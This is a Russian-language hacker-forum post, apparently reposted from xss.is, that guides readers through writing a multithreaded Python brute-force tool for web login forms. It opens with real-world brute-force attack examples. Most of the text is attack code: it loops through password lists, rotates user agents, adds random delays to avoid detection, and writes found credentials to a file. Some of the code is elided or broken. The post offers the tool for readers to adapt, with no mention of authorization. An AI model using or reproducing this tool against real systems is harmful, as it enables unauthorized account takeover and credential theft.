D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Авторство: hackeryaroslav (харе ржать с моего ника)
Источник: xss.is
Приветствую всех! Сегодня мы взглянем на брутфорс, метода атаки, где хакер стремится взломать защищенные данные, перебирая все возможные комбинации паролей. Этот мощный инструмент в руках хакера способен преодолеть даже самые надежные пароли, делая его неотъемлемой частью хакерского арсенала.
Почему же брутфорс настолько эффективен?
Его сила заключается в простоте: хакер последовательно перебирает все возможные символы, находя верный пароль. Несмотря на видимую легкость, успешная брутфорс атака требует времени и вычислительных ресурсов, что делает ее вызовом даже для опытных.
Пример успешных атак брутфорсом
1)
В 2007 году группа компаний, входящих в организацию Wi-Fi Alliance, начали продажу беспроводного оборудования для домашних сетей с поддержкой нового стандарта Wi-Fi Protected Setup. Среди производителей беспроводных маршрутизаторов, поддерживающих данную технологию, были такие крупные компании, как Cisco/Linksys, Netgear, Belkin и D-Link. Стандарт WPS был призван существенно упростить процесс настройки беспроводной сети и её использования для людей, не обладающих широкими знаниями в области сетевой безопасности. Однако, к концу 2011 года были опубликованы сведения о серьезных уязвимостях в WPS, которые позволяли злоумышленнику подобрать PIN-код беспроводной сети всего за несколько часов, обладая вычислительными ресурсами обыкновенного персонального компьютера.
Источник: wikipedia.org
2)
Недостаточно защищённые SSH-серверы Linux опять стали целью киберпреступников в новой кампании. Злоумышленники используют сканеры портов и подбор учётных данных по словарю с целью установить криптомайнер или запустить DDoS-атаки. Об атаках рассказала команда AhnLab Security Emergency Response Center (ASEC). В отчёте специалисты отмечают следующее: «Киберпреступники иногда ограничиваются установкой сканеров, после чего продают скомпрометированные IP-адреса и связанные учётные данные в дарквебе».
Источник: https://www.anti-malware.ru
3)
Британский сервис-провайдер SOS Intelligence предупреждает о появлении нового инструмента брутфорса. На его основе создан сервис поиска VPN со слабой парольной защитой, и счет жертвам взлома уже идет на тысячи. Рост числа попыток входа, связанных с VPN, вынудил экспертов запустить расследование. В итоге подозрительную активность удалось связать с неким софтом, созданным брокером начального доступа, использующим ник Bassterlord. Инструмент, предоставляемый в пользование как услуга, позволяет отыскивать в интернете VPN-службы и проверять надежность их защиты перебором ходовых логинов и паролей по списку. Судя по объявлению на хакерском форуме, в нем реализована поддержка прокси и многопоточного режима.
Источник: https://www.anti-malware.ru
Инструменты Брутфорса
Существует множество инструментов для брутфорс атаки, таких как Hydra, Medusa или John the Ripper. Они предоставляют обширные возможности для атаки на различные службы и протоколы, но почему бы нам не создать свой собственный брутфорс? Давайте попрактикуем свои умения, расширим горизонты
Почему python?
Python предоставляет простой синтаксис и богатые библиотеки, упрощая разработку и выполнение брутфорс атак. Благодаря активному сообществу, поддержке многозадачности и переносимости, Python становится эффективным выбором для написания подобных скриптов.
Итак, начнем.
Импорт библиотек:
Python: Скопировать в буфер обмена
Код:
import requests
import threading
import time
import random
import logging
import sys
Здесь подключаются необходимые библиотеки для работы с HTTP-запросами, многозадачностью, временем, случайными числами, логированием и системными операциями.
Настройка логирования:
Python: Скопировать в буфер обмена
logging.basicConfig(filename='app.log', level=logging.DEBUG)
Устанавливается конфигурация логирования, которая записывает события в файл 'app.log'.
Загрузка паролей:
Python: Скопировать в буфер обмена
Код:
def load_passwords(file_path):
with open(file_path, 'r') as f:
passwords = f.readlines()
passwords = [p.strip() for p in passwords]
return passwords
Создается функция для загрузки паролей из файла. Она возвращает список паролей.
Класс BruteForce:
Python: Скопировать в буфер обмена
Код:
class BruteForce:
def __init__(self, url, username, error_msg):
self.url = url
self.username = username
self.error_msg = error_msg
self.found = False
Создается класс BruteForce для представления объекта брутфорс атаки. У объекта есть URL, имя пользователя, сообщение об ошибке, и флаг found, указывающий, был ли найден верный пароль.
Проверка пароля:
Python: Скопировать в буфер обмена
Код:
def test_password(self, password):
try:
user_agent = random.choice(['Mozilla/5.0', 'Chrome/83.0.1'])
headers = {'User-Agent': user_agent}
data = {'username': self.username, 'password': password}
response = requests.post(self.url, headers=headers, data=data, timeout=5)
# ... (проверка статуса ответа и наличия сообщения об ошибке)
except Exception as e:
logging.error(f'Error: {e}')
pass
return False
В классе создается метод для тестирования одного пароля. Он отправляет HTTP-запрос с данными пользователя и пароля и проверяет ответ на статус и сообщение об ошибке.
Взлом паролей:
Python: Скопировать в буфер обмена
Код:
def crack_passwords(self, passwords):
for password in passwords:
delay = random.uniform(1, 3)
logging.debug(f'Trying password {password}, delaying {delay} secs')
time.sleep(delay)
if self.found:
with open('cracked_creds.txt', 'w') as f:
f.write(f"{self.username}:{password}")
break
self.test_password(password)
# ... (задержка перед каждой попыткой, вызов метода test_password)
Еще один метод класса, который перебирает все пароли из списка, вызывая метод для тестирования каждого.
Интерактивный ввод параметров атаки:
Python: Скопировать в буфер обмена
Код:
def prompt_bruteforce():
# ... (ввод URL, имени пользователя, сообщения об ошибке и пути к файлу с паролями)
def prompt_bruteforce():
print("Welcome to the brute force password cracker!")
url = input("Enter URL: ")
username = input("Enter username: ")
error_msg = input("Enter error message: ")
password_file = input("Enter password file path: ")
passwords = load_passwords(password_file)
bruteforcer = BruteForce(url, username, error_msg)
threads = []
for i in range(5):
t = threading.Thread(target=bruteforcer.crack_passwords, args=(passwords,))
threads.append(t)
t.start()
print("Cracking passwords...")
for t in threads:
t.join()
print("Done!")
Создается функция для ввода параметров атаки.
Создание потоков для взлома:
Python: Скопировать в буфер обмена
Код:
for i in range(5):
t = threading.Thread(target=bruteforcer.crack_passwords, args=(passwords,))
threads.append(t)
t.start()
Запускаются 5 потоков, каждый из которых выполняет метод взлома паролей.
Ожидание завершения всех потоков:
Python: Скопировать в буфер обмена
Код:
for t in threads:
t.join()
Ожидается завершение всех потоков перед выводом сообщения о завершении.
Запуск атаки:
Python: Скопировать в буфер обмена
Код:
if __name__ == '__main__':
while True:
start = input("Start brute force attack? (y/n): ")
if start.lower() == 'y':
prompt_bruteforce()
break
else:
print("Exiting...")
break
Запускается атака, если пользователь вводит 'y'. В противном случае программа завершается. При успехе, программа сохранит логин и пароль в файл cracked_creds.txt в виде login
Если возникнут вопросы или нужна дополнительная помощь, не стесняйтесь задавать. Редактируйте код, экспериментируйте и делитесь своими успехами ниже. Помните, что знание — сила, и ваши навыки могут создать настоящий эффект.
Вот и все! Если у вас есть какие либо вопросы задавайте. В этой статье вы написали свою первую брутфорс программу на python. Ниже вы найдете файл со всем написанном выше кодом, смело редактируйте под свои нужды и делитесь ими здесь. Надеюсь статья была полезной!